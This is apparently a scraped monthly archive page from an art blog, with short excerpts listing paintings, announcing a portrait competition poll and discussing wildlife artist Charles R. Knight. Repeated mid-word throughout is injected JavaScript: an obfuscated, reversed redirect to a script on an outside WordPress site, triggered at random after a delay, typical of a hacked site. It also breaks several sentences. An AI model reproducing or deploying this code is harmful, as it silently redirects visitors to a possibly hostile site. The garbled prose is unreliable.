Monthly Archives: March 2014

Marina DieulLa baigneuse16 in. (diameter)oil on linen David GluckRed Sky26 X 30 in.oil on linen Andrey KartashovSilent Water After the Orange Revolution12 X 16 in.oil on canvas Gregory MortensonSelf-Portrait in Russian Hat16 X 13 in.oil on linen Richard Christian NelsonLook Homeward Angel64 X 44 in.oil on linen Clete ShieldsSuzanne Roberts15 X 13 X 13 in.painted … Continue reading »

You can cast your vote, according toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the artist’s name, through the poll featured in the left sidebar. The poll will close at 6:00 PM EST on April 26th, an hour before the banquet at which the actual winner – as chosen by the Portrait Society of America – … Continue reading »

Jean-Léon Gérôme  -  Bashi-Bazouk (detail) Franz Kosler (Austrian, 1864-1905)The Fortune Teller of Cairooil on canvas22 ¾ X 27 ½ in. Rudolf Weisse (Bohemian, 1859- )The Dice Playersoil on panel23 ½ X 32 in. Rudolf Ernst (Austrian, 1854-1932)The Perfume Makersoil on panel36 ¼ X 28 ¼ in. Pietro Calvi (Italian, 1833-1884)Bust of Othello, The Moor of … Continue reading »

Granville Redmond (American, 1871-1935)Annandale Wildflowersoil on board25 X 30 in. Edgar Payne (1883-1947)California Landscapeoil on board11 ½ X 15 ½ in. Edgar Payne (1883-1947)Capistrano Canyonoil on canvas24 X 28 in. Maurice Braun (American, 1877-1941)Autumn Oaksoil on canvas25 X 30 in. Percy Gray (1869-1952)Eucalyptus in the California Hills, 1922watercolor on paperboard affixed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var … Continue reading »

During his lifetime, wildlife and Paleo- artist Charles Knight wrote several books, mostly on the toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}topic of pre-histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory.  One of his books, however, Animal Anatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomy and Psychology for Artists and Laymen (1947) was intended for aspiring wildlife artists.  It … Continue reading »

Rodney O’Dell DavisThe Dark Side of the Force10 X 8 inchesoil on panel Brandon D. DrakeAbsolution20 X 23 inchesoil on panel Timothy W. JahnSymbiote21 X 12 inchesoil on panel Jay DavenportGot Your Back20 X 27 inchesoil on panel

There are some artists who like working in complete silence, but I am not one of them.  I find that I need something else toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to occupy the attention of a particular level of my brain that would, if not so engaged, send me messages of self-doubt and criticism while … Continue reading »

Shortly after my post, artist David Gray, posted an online video showing his process for doing the oil transfer.  I have included it below (along with some still images), but if you have not yet seen his videos, take the time toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to visit YouTube and watch all of his … Continue reading »

Born in 1870s Brooklyn and classified as legally blind for most of his life, Charles R. Knight was probably one of the least likely candidates for becoming a wildlife artist.  Nevertheless, with an innate love for animals and a persistence at his work – mixed with a healthy dose of serendipity – Knight would become world-reknown, … Continue reading »